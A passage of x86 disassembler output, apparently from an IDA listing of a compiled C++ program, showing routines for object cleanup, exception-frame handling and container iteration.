		lea	eax, [esp+30h+var_24]
		mov	ecx, esi
		push	eax
		call	sub_13AB54A
		push	eax
		lea	ecx, [esp+38h+var_30]
		call	sub_13AB739
		test	al, al
		jnz	short loc_13BEC54


loc_13BECBE:				; CODE XREF: sub_13BEBE0+72j
		mov	eax, [esp+38h+var_30]
		test	eax, eax
		jz	short loc_13BED14
		lea	ecx, [esp+38h+var_30]
		push	ecx
		mov	ecx, esi
		call	sub_13AC530
		mov	ecx, [esp+3Ch+var_34]
		test	ecx, ecx
		jz	short loc_13BECE1
		push	1
		call	sub_13ABAFE


loc_13BECE1:				; CODE XREF: sub_13BEBE0+F8j
		lea	ecx, [esp+40h+var_20]
		mov	byte ptr [esp+40h+var_28], 0
		call	sub_13AB626
		lea	ecx, [esp+40h+var_8]
		mov	[esp+40h+var_28], 0FFFFFFFFh
		call	sub_13AB626
		mov	al, 1
		pop	esi
		mov	ecx, [esp+3Ch+var_30]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
; ---------------------------------------------------------------------------


loc_13BED14:				; CODE XREF: sub_13BEBE0+2Ej
					; sub_13BEBE0+E4j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_13AB626
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+1Ch+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
sub_13BEBE0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BEDB0	proc near		; CODE XREF: sub_13ABAFEj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_13ABE5A
		test	[esp+4+arg_0], 1
		jz	short loc_13BEDC8
		push	esi
		call	near ptr 13E0C02h
		add	esp, 4


loc_13BEDC8:				; CODE XREF: sub_13BEDB0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_13BEDB0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BEDE0	proc near		; CODE XREF: sub_13ABE5Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	439D91h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+43h]
		mov	[esp+14h+var_4], 2
		call	sub_13AB626
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_13AB626
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_13AB626
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13BEDE0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BEE70	proc near		; CODE XREF: sub_13AB7B1j

var_44		= dword	ptr -44h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	439DB8h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_4]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+2Ch+var_10], esp
		push	eax
		call	sub_13ABC61
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+48h+arg_0], esp
		push	edx
		mov	[esp+4Ch+var_8], 0
		call	sub_13ABC61
		mov	ecx, esi
		mov	[esp+4Ch+var_C], 0FFFFFFFFh
		call	sub_13AC50D
		mov	ecx, [esp+4Ch+var_44]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
sub_13BEE70	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BEF00	proc near		; CODE XREF: sub_13ABF31j

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	439DD8h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+1Ch+arg_0]
		mov	[esp+1Ch+var_4], 0
		call	sub_13ABBE4
		test	eax, eax
		jz	loc_13BF007
		lea	ecx, [esp+1Ch+var_18]
		mov	[esp+1Ch+var_14], 0
		call	sub_13AB437
		add	esi, 60h
		lea	eax, [esp+1Ch+var_10]
		push	eax
		mov	ecx, esi
		call	sub_13ABD83
		mov	ecx, [eax]
		lea	edx, [esp+20h+var_14]
		mov	[esp+20h+var_1C], ecx
		push	edx
		mov	ecx, esi
		call	sub_13AC634
		push	eax
		lea	ecx, [esp+28h+var_20]
		call	sub_13ABED7
		test	al, al
		jz	short loc_13BEFBF


loc_13BEF74:				; CODE XREF: sub_13BEF00+BDj
		lea	eax, [esp+28h+var_8]
		lea	ecx, [esp+28h+var_24]
		push	eax
		call	sub_13AB5D1
		mov	ecx, [eax]
		call	sub_13ABF72
		test	eax, eax
		jnz	short loc_13BEF9C
		lea	ecx, [esp+2Ch+var_28]
		call	sub_13AB5D1
		mov	ecx, [eax]
		mov	[esp+2Ch+var_24], ecx


loc_13BEF9C:				; CODE XREF: sub_13BEF00+8Bj
		lea	ecx, [esp+2Ch+var_28]
		call	sub_13ABCB6
		lea	edx, [esp+2Ch+var_20]
		mov	ecx, esi
		push	edx
		call	sub_13AC634
		push	eax
		lea	ecx, [esp+34h+var_2C]
		call	sub_13ABED7
		test	al, al
		jnz	short loc_13BEF74


loc_13BEFBF:				; CODE XREF: sub_13BEF00+72j
		mov	eax, [esp+34h+var_2C]
		test	eax, eax
		jz	short loc_13BF007
		lea	eax, [esp+34h+var_2C]
		mov	ecx, esi
		push	eax
		call	sub_13AB554
		mov	ecx, [esp+38h+var_30]
		test	ecx, ecx
		jz	short loc_13BEFE2
		push	1
		call	sub_13AB5C7


loc_13BEFE2:				; CODE XREF: sub_13BEF00+D9j
		lea	ecx, [esp+3Ch+var_1C]
		mov	[esp+3Ch+var_24], 0FFFFFFFFh
		call	sub_13AB626
		mov	al, 1
		pop	esi
		mov	ecx, [esp+38h+var_2C]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_13BF007:				; CODE XREF: sub_13BEF00+2Ej
					; sub_13BEF00+C5j
		lea	ecx, [esp+1Ch+arg_0]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+1Ch+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
sub_13BEF00	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BF080	proc near		; CODE XREF: sub_13AB5C7j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_13ABF45
		test	[esp+4+arg_0], 1
		jz	short loc_13BF098
		push	esi
		call	near ptr 13E0C02h
		add	esp, 4


loc_13BF098:				; CODE XREF: sub_13BF080+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_13BF080	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BF0B0	proc near		; CODE XREF: sub_13ABF45j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	439E19h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+54h]
		mov	[esp+14h+var_4], 3
		call	sub_13AB978
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_13AB626
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_13AB626
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_13AB626
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13BF0B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BF150	proc near		; CODE XREF: sub_13AB8BFj

var_E0		= byte ptr -0E0h
var_D0		= byte ptr -0D0h
var_C8		= dword	ptr -0C8h
var_C0		= dword	ptr -0C0h
var_B0		= dword	ptr -0B0h
var_88		= byte ptr -88h
var_78		= byte ptr -78h
var_64		= dword	ptr -64h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= dword	ptr -48h
var_40		= dword	ptr -40h
var_38		= dword	ptr -38h
var_28		= byte ptr -28h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	439E68h
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	ebx
		push	esi
		mov	esi, [esp+54h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+32h]
		call	sub_13AB8D3
		push	eax
		mov	ecx, ebx
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13BF24B
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+74h], esp
		push	eax
		call	sub_13AB8C9
		sub	esp, 18h
		mov	[esp+90h+var_C], 0
		mov	ecx, esp
		mov	[esp+90h+var_54], esp
		push	offset byte_446F80
		call	sub_13ABC61
		or	ebx, 0FFFFFFFFh
		mov	ecx, offset word_448CAE
		mov	[esp+94h+var_10], ebx
		call	sub_13AC50D
		test	al, al
		jz	loc_13BF380
		push	0
		push	5
		push	19h
		push	2
		push	4
		push	0Fh
		push	0Fh
		lea	ecx, [esp+0B0h+var_78]
		push	21h
		push	ecx
		call	sub_13ABDB5
		add	esp, 24h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+94h+var_40], 1
		call	sub_13AB8D3
		push	eax
		mov	ecx, edi
		call	sub_13AB8D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518
		lea	ecx, [esp+0A4h+var_88]
		mov	[esp+0A4h+var_50], ebx
		call	sub_13AB626
		mov	al, 1
		mov	ecx, [esp+0A4h+var_58]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_13BF24B:				; CODE XREF: sub_13BF150+36j
		lea	ecx, [edi+4]
		call	sub_13AB8D3
		push	eax
		mov	ecx, ebx
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13BF380
		sub	esp, 18h
		lea	edx, [esi+54h]
		mov	ecx, esp
		mov	[esp+78h+var_4], esp
		push	edx
		call	sub_13AB8C9
		sub	esp, 18h
		lea	eax, [esi+3Fh]
		mov	ecx, esp
		mov	[esp+94h+var_58], esp
		push	eax
		mov	[esp+98h+var_10], 2
		call	sub_13AB8C9
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0B0h+var_58], esp
		push	edx
		mov	[esp+0B4h+var_14], 3
		call	sub_13AB8C9
		sub	esp, 18h
		mov	ecx, esi
		mov	eax, esp
		mov	[esp+0CCh+var_58], esp
		push	1
		push	offset dword_443600
		push	2
		push	eax
		mov	[esp+0DCh+var_18], 4
		call	sub_13AB5EA
		sub	esp, 18h
		mov	[esp+0F4h+var_28], 5
		mov	ecx, esp
		mov	[esp+0F4h+var_64], esp
		push	1
		push	offset dword_443600
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_13AB5EA
		or	ebx, 0FFFFFFFFh
		mov	ecx, offset word_448CAE
		mov	[esp+104h+var_38], ebx
		call	sub_13ABC9D
		test	al, al
		jz	short loc_13BF380
		push	0
		push	4
		push	5
		push	14h
		push	10h
		push	5
		push	3
		push	3
		lea	edx, [esp+124h+var_D0]
		push	1Bh
		push	edx
		call	sub_13ABDB5
		add	esp, 28h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+104h+var_B0], 6
		call	sub_13AB8D3
		push	eax
		mov	ecx, edi
		call	sub_13AB8D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518
		lea	ecx, [esp+114h+var_E0]
		mov	[esp+114h+var_C0], ebx
		call	sub_13AB626
		mov	al, 1
		mov	ecx, [esp+114h+var_C8]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_13BF380:				; CODE XREF: sub_13BF150+82j
					; sub_13BF150+10Dj ...
		mov	ecx, [esp+94h+var_48]
		pop	edi
		pop	esi
		xor	al, al
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 4Ch
		retn	4
sub_13BF150	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BF440	proc near		; CODE XREF: sub_13AB72Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_13AC2BA
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
sub_13BF440	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BF480	proc near		; CODE XREF: sub_13ABB1Cj

var_14		= byte ptr -14h
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		push	0
		push	0
		mov	al, [edi]
		mov	[esi], al
		call	sub_13AC2BA
		lea	ecx, [esp+18h+var_4]
		mov	[esi+4], eax
		push	ecx
		mov	ecx, edi
		mov	dword ptr [esi+8], 0
		call	sub_13ABACC
		mov	edx, [eax]
		lea	eax, [esp+1Ch+var_14]
		push	edx
		push	eax
		mov	ecx, edi
		call	sub_13AB53B
		mov	ecx, [eax]
		lea	edx, [esp+24h+var_14]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_13AB6E9
		mov	eax, [eax]
		mov	ecx, esi
		push	eax
		call	sub_13ABB2B
		mov	eax, esi
		pop	edi
		pop	esi
		add	esp, 8
		retn	4
sub_13BF480	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BF500	proc near		; CODE XREF: sub_13AB978j

var_C		= byte ptr -0Ch

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_13AC189
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_C]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_13AB6E9
		mov	eax, [eax]
		lea	ecx, [esp+1Ch+var_C]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_13AB865
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_13AC0D5
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
sub_13BF500	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BF570	proc near		; CODE XREF: sub_13AB6E9j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_13AC48B
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_13AC1A7
		mov	eax, esi
		pop	esi
		retn	4
sub_13BF570	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BF5B0	proc near		; CODE XREF: sub_13AC189j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_13AC1A7
		mov	eax, esi
		pop	esi
		retn	4
sub_13BF5B0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BF5E0	proc near		; CODE XREF: sub_13AB87Ej

var_8		= byte ptr -8
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_13AC189
		mov	edx, [eax]
		lea	eax, [esp+10h+var_8]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_13AC55D
		pop	esi
		pop	ecx
		retn	4
sub_13BF5E0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BF620	proc near		; CODE XREF: sub_13AB658j

var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_8]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_13AC189
		lea	ecx, [esp+14h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_13AB6E9
		lea	edx, [esp+18h+var_10]
		lea	ecx, [esp+18h+var_14]
		push	edx
		call	sub_13AC15C
		test	al, al
		jz	short loc_13BF6A1
		push	edi
		mov	edi, [esp+20h+var_8]


loc_13BF653:				; CODE XREF: sub_13BF620+7Ej
		lea	ecx, [esp+20h+var_18]
		call	sub_13AC3A5
		mov	eax, [eax]
		mov	ecx, [edi]
		cmp	eax, ecx
		jnz	short loc_13BF685
		lea	ecx, [esp+20h+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+28h+var_18]
		call	sub_13AB96E
		mov	edx, [eax]
		lea	eax, [esp+28h+var_18]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_13AC3AF
		jmp	short loc_13BF68E
; ---------------------------------------------------------------------------


loc_13BF685:				; CODE XREF: sub_13BF620+42j
		lea	ecx, [esp+20h+var_18]
		call	sub_13AC4A4


loc_13BF68E:				; CODE XREF: sub_13BF620+63j
		lea	ecx, [esp+20h+var_14]
		push	ecx
		lea	ecx, [esp+24h+var_18]
		call	sub_13AC15C
		test	al, al
		jnz	short loc_13BF653
		pop	edi


loc_13BF6A1:				; CODE XREF: sub_13BF620+2Cj
		pop	esi
		add	esp, 0Ch
		retn	4
sub_13BF620	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BF6E0	proc near		; CODE XREF: sub_13AC21Fj
		push	esi
		mov	esi, ecx
		call	sub_13AC2B5
		mov	eax, esi
		pop	esi
		retn
sub_13BF6E0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BF700	proc near		; CODE XREF: sub_13AC3A5j
		mov	eax, [ecx]
		push	eax
		call	sub_13AC2FB
		add	esp, 4
		retn
sub_13BF700	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BF720	proc near		; CODE XREF: sub_13AC4A4j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_13AC48B
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_13BF720	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BF750	proc near		; CODE XREF: sub_13AC15Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_13AB9CD
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_13BF750	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BF780	proc near		; CODE XREF: sub_13AC305j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_13AC07B
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
sub_13BF780	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BF7C0	proc near		; CODE XREF: sub_13AB5B8j

var_C		= byte ptr -0Ch

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_13AC634
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_C]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_13ABD83
		mov	eax, [eax]
		lea	ecx, [esp+1Ch+var_C]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_13AB72F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_13AC21A
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
sub_13BF7C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BF830	proc near		; CODE XREF: sub_13ABD83j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_13AB649
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_13AC0C6
		mov	eax, esi
		pop	esi
		retn	4
sub_13BF830	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BF870	proc near		; CODE XREF: sub_13AC634j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_13AC0C6
		mov	eax, esi
		pop	esi
		retn	4
sub_13BF870	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BF8A0	proc near		; CODE XREF: sub_13AC2F1j

var_8		= byte ptr -8
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_13AC634
		mov	edx, [eax]
		lea	eax, [esp+10h+var_8]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_13ABE96
		pop	esi
		pop	ecx
		retn	4
sub_13BF8A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BF8E0	proc near		; CODE XREF: sub_13ABD24j

var_C		= byte ptr -0Ch

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_13AC634
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_C]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_13ABD83
		mov	eax, [eax]
		lea	ecx, [esp+1Ch+var_C]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_13AB72F
		pop	esi
		add	esp, 0Ch
		retn
sub_13BF8E0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BF930	proc near		; CODE XREF: sub_13AB554j

var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_8]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_13AC634
		lea	ecx, [esp+14h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_13ABD83
		lea	edx, [esp+18h+var_10]
		lea	ecx, [esp+18h+var_14]
		push	edx
		call	sub_13ABED7
		test	al, al
		jz	short loc_13BF9B1
		push	edi
		mov	edi, [esp+20h+var_8]


loc_13BF963:				; CODE XREF: sub_13BF930+7Ej
		lea	ecx, [esp+20h+var_18]
		call	sub_13AB5D1
		mov	eax, [eax]
		mov	ecx, [edi]
		cmp	eax, ecx
		jnz	short loc_13BF995
		lea	ecx, [esp+20h+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+28h+var_18]
		call	sub_13AB4DC
		mov	edx, [eax]
		lea	eax, [esp+28h+var_18]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_13ABBDF
		jmp	short loc_13BF99E
; ---------------------------------------------------------------------------


loc_13BF995:				; CODE XREF: sub_13BF930+42j
		lea	ecx, [esp+20h+var_18]
		call	sub_13ABCB6


loc_13BF99E:				; CODE XREF: sub_13BF930+63j
		lea	ecx, [esp+20h+var_14]
		push	ecx
		lea	ecx, [esp+24h+var_18]
		call	sub_13ABED7
		test	al, al
		jnz	short loc_13BF963
		pop	edi


loc_13BF9B1:				; CODE XREF: sub_13BF930+2Cj
		pop	esi
		add	esp, 0Ch
		retn	4
sub_13BF930	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BF9F0	proc near		; CODE XREF: sub_13AB437j
		push	esi
		mov	esi, ecx
		call	sub_13AC279
		mov	eax, esi
		pop	esi
		retn
sub_13BF9F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BFA10	proc near		; CODE XREF: sub_13AB5D1j
		mov	eax, [ecx]
		push	eax
		call	sub_13AC526
		add	esp, 4
		retn
sub_13BFA10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BFA30	proc near		; CODE XREF: sub_13ABCB6j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_13AB649
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_13BFA30	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BFA60	proc near		; CODE XREF: sub_13ABED7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_13AC2A6
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_13BFA60	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BFA90	proc near		; CODE XREF: sub_13ABC43j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_13AC1A2
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
sub_13BFA90	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BFAD0	proc near		; CODE XREF: sub_13AB8B5j

var_C		= byte ptr -0Ch

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_13AB54A
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_C]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_13ABCF2
		mov	eax, [eax]
		lea	ecx, [esp+1Ch+var_C]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_13AB801
		mov	edx, [esi+4]
